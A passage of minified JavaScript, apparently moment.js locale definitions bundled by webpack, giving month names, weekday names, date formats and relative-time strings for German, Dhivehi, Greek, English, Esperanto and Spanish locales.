HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},60894:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?r[i][0]:r[i][1]}e.defineLocale("de-ch",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},59740:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={m:["eine Minute","einer Minute"],h:["eine Stunde","einer Stunde"],d:["ein Tag","einem Tag"],dd:[e+" Tage",e+" Tagen"],w:["eine Woche","einer Woche"],M:["ein Monat","einem Monat"],MM:[e+" Monate",e+" Monaten"],y:["ein Jahr","einem Jahr"],yy:[e+" Jahre",e+" Jahren"]};return t?r[i][0]:r[i][1]}e.defineLocale("de",{months:"Januar_Februar_März_April_Mai_Juni_Juli_August_September_Oktober_November_Dezember".split("_"),monthsShort:"Jan._Feb._März_Apr._Mai_Juni_Juli_Aug._Sep._Okt._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Sonntag_Montag_Dienstag_Mittwoch_Donnerstag_Freitag_Samstag".split("_"),weekdaysShort:"So._Mo._Di._Mi._Do._Fr._Sa.".split("_"),weekdaysMin:"So_Mo_Di_Mi_Do_Fr_Sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY HH:mm",LLLL:"dddd, D. MMMM YYYY HH:mm"},calendar:{sameDay:"[heute um] LT [Uhr]",sameElse:"L",nextDay:"[morgen um] LT [Uhr]",nextWeek:"dddd [um] LT [Uhr]",lastDay:"[gestern um] LT [Uhr]",lastWeek:"[letzten] dddd [um] LT [Uhr]"},relativeTime:{future:"in %s",past:"vor %s",s:"ein paar Sekunden",ss:"%d Sekunden",m:t,mm:"%d Minuten",h:t,hh:"%d Stunden",d:t,dd:t,w:t,ww:"%d Wochen",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},5300:function(e,t,i){!function(e){"use strict";var t=["ޖެނުއަރީ","ފެބްރުއަރީ","މާރިޗު","އޭޕްރީލު","މޭ","ޖޫން","ޖުލައި","އޯގަސްޓު","ސެޕްޓެމްބަރު","އޮކްޓޯބަރު","ނޮވެމްބަރު","ޑިސެމްބަރު"],i=["އާދިއްތަ","ހޯމަ","އަންގާރަ","ބުދަ","ބުރާސްފަތި","ހުކުރު","ހޮނިހިރު"];e.defineLocale("dv",{months:t,monthsShort:t,weekdays:i,weekdaysShort:i,weekdaysMin:"އާދި_ހޯމަ_އަން_ބުދަ_ބުރާ_ހުކު_ހޮނި".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"D/M/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},meridiemParse:/މކ|މފ/,isPM:function(e){return"މފ"===e},meridiem:function(e,t,i){return e<12?"މކ":"މފ"},calendar:{sameDay:"[މިއަދު] LT",nextDay:"[މާދަމާ] LT",nextWeek:"dddd LT",lastDay:"[އިއްޔެ] LT",lastWeek:"[ފާއިތުވި] dddd LT",sameElse:"L"},relativeTime:{future:"ތެރޭގައި %s",past:"ކުރިން %s",s:"ސިކުންތުކޮޅެއް",ss:"d% ސިކުންތު",m:"މިނިޓެއް",mm:"މިނިޓު %d",h:"ގަޑިއިރެއް",hh:"ގަޑިއިރު %d",d:"ދުވަހެއް",dd:"ދުވަސް %d",M:"މަހެއް",MM:"މަސް %d",y:"އަހަރެއް",yy:"އަހަރު %d"},preparse:function(e){return e.replace(/،/g,",")},postformat:function(e){return e.replace(/,/g,"،")},week:{dow:7,doy:12}})}(i(30381))},50837:function(e,t,i){!function(e){"use strict";e.defineLocale("el",{monthsNominativeEl:"Ιανουάριος_Φεβρουάριος_Μάρτιος_Απρίλιος_Μάιος_Ιούνιος_Ιούλιος_Αύγουστος_Σεπτέμβριος_Οκτώβριος_Νοέμβριος_Δεκέμβριος".split("_"),monthsGenitiveEl:"Ιανουαρίου_Φεβρουαρίου_Μαρτίου_Απριλίου_Μαΐου_Ιουνίου_Ιουλίου_Αυγούστου_Σεπτεμβρίου_Οκτωβρίου_Νοεμβρίου_Δεκεμβρίου".split("_"),months:function(e,t){return e?"string"==typeof t&&/D/.test(t.substring(0,t.indexOf("MMMM")))?this._monthsGenitiveEl[e.month()]:this._monthsNominativeEl[e.month()]:this._monthsNominativeEl},monthsShort:"Ιαν_Φεβ_Μαρ_Απρ_Μαϊ_Ιουν_Ιουλ_Αυγ_Σεπ_Οκτ_Νοε_Δεκ".split("_"),weekdays:"Κυριακή_Δευτέρα_Τρίτη_Τετάρτη_Πέμπτη_Παρασκευή_Σάββατο".split("_"),weekdaysShort:"Κυρ_Δευ_Τρι_Τετ_Πεμ_Παρ_Σαβ".split("_"),weekdaysMin:"Κυ_Δε_Τρ_Τε_Πε_Πα_Σα".split("_"),meridiem:function(e,t,i){return e>11?i?"μμ":"ΜΜ":i?"πμ":"ΠΜ"},isPM:function(e){return"μ"===(e+"").toLowerCase()[0]},meridiemParse:/[ΠΜ]\.?Μ?\.?/i,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendarEl:{sameDay:"[Σήμερα {}] LT",nextDay:"[Αύριο {}] LT",nextWeek:"dddd [{}] LT",lastDay:"[Χθες {}] LT",lastWeek:function(){return 6===this.day()?"[το προηγούμενο] dddd [{}] LT":"[την προηγούμενη] dddd [{}] LT"},sameElse:"L"},calendar:function(e,t){var i,n=this._calendarEl[e],r=t&&t.hours();return i=n,("undefined"!=typeof Function&&i instanceof Function||"[object Function]"===Object.prototype.toString.call(i))&&(n=n.apply(t)),n.replace("{}",r%12==1?"στη":"στις")},relativeTime:{future:"σε %s",past:"%s πριν",s:"λίγα δευτερόλεπτα",ss:"%d δευτερόλεπτα",m:"ένα λεπτό",mm:"%d λεπτά",h:"μία ώρα",hh:"%d ώρες",d:"μία μέρα",dd:"%d μέρες",M:"ένας μήνας",MM:"%d μήνες",y:"ένας χρόνος",yy:"%d χρόνια"},dayOfMonthOrdinalParse:/\d{1,2}η/,ordinal:"%dη",week:{dow:1,doy:4}})}(i(30381))},78348:function(e,t,i){!function(e){"use strict";e.defineLocale("en-au",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:4}})}(i(30381))},77925:function(e,t,i){!function(e){"use strict";e.defineLocale("en-ca",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"YYYY-MM-DD",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(i(30381))},22243:function(e,t,i){!function(e){"use strict";e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(i(30381))},46436:function(e,t,i){!function(e){"use strict";e.defineLocale("en-ie",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(i(30381))},47207:function(e,t,i){!function(e){"use strict";e.defineLocale("en-il",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(i(30381))},44175:function(e,t,i){!function(e){"use strict";e.defineLocale("en-in",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:0,doy:6}})}(i(30381))},76319:function(e,t,i){!function(e){"use strict";e.defineLocale("en-nz",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY h:mm A",LLLL:"dddd, D MMMM YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(i(30381))},31662:function(e,t,i){!function(e){"use strict";e.defineLocale("en-sg",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(i(30381))},92915:function(e,t,i){!function(e){"use strict";e.defineLocale("eo",{months:"januaro_februaro_marto_aprilo_majo_junio_julio_aŭgusto_septembro_oktobro_novembro_decembro".split("_"),monthsShort:"jan_feb_mart_apr_maj_jun_jul_aŭg_sept_okt_nov_dec".split("_"),weekdays:"dimanĉo_lundo_mardo_merkredo_ĵaŭdo_vendredo_sabato".split("_"),weekdaysShort:"dim_lun_mard_merk_ĵaŭ_ven_sab".split("_"),weekdaysMin:"di_lu_ma_me_ĵa_ve_sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"[la] D[-an de] MMMM, YYYY",LLL:"[la] D[-an de] MMMM, YYYY HH:mm",LLLL:"dddd[n], [la] D[-an de] MMMM, YYYY HH:mm",llll:"ddd, [la] D[-an de] MMM, YYYY HH:mm"},meridiemParse:/[ap]\.t\.m/i,isPM:function(e){return"p"===e.charAt(0).toLowerCase()},meridiem:function(e,t,i){return e>11?i?"p.t.m.":"P.T.M.":i?"a.t.m.":"A.T.M."},calendar:{sameDay:"[Hodiaŭ je] LT",nextDay:"[Morgaŭ je] LT",nextWeek:"dddd[n je] LT",lastDay:"[Hieraŭ je] LT",lastWeek:"[pasintan] dddd[n je] LT",sameElse:"L"},relativeTime:{future:"post %s",past:"antaŭ %s",s:"kelkaj sekundoj",ss:"%d sekundoj",m:"unu minuto",mm:"%d minutoj",h:"unu horo",hh:"%d horoj",d:"unu tago",dd:"%d tagoj",M:"unu monato",MM:"%d monatoj",y:"unu jaro",yy:"%d jaroj"},dayOfMonthOrdinalParse:/\d{1,2}a/,ordinal:"%da",week:{dow:1,doy:7}})}(i(30381))},55251:function(e,t,i){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),i="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-do",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},96112:function(e,t,i){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),i="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-mx",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:4},invalidDate:"Fecha inválida"})}(i(30381))},71146:function(e,t,i){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),i="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es-us",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"MM/DD/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY h:mm A",LLLL:"dddd, D [de] MMMM [de] YYYY h:mm A"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:0,doy:6}})}(i(30381))},55655:function(e,t,i){!function(e){"use strict";var t="ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.".split("_"),i="ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic".split("_"),n=[/^ene/i,/^feb/i,/^mar/i,/^abr/i,/^may/i,/^jun/i,/^jul/i,/^ago/i,/^sep/i,/^oct/i,/^nov/i,/^dic/i],r=/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre|ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i;e.defineLocale("es",{months:"enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre".split("_"),monthsShort:function(e,n){return 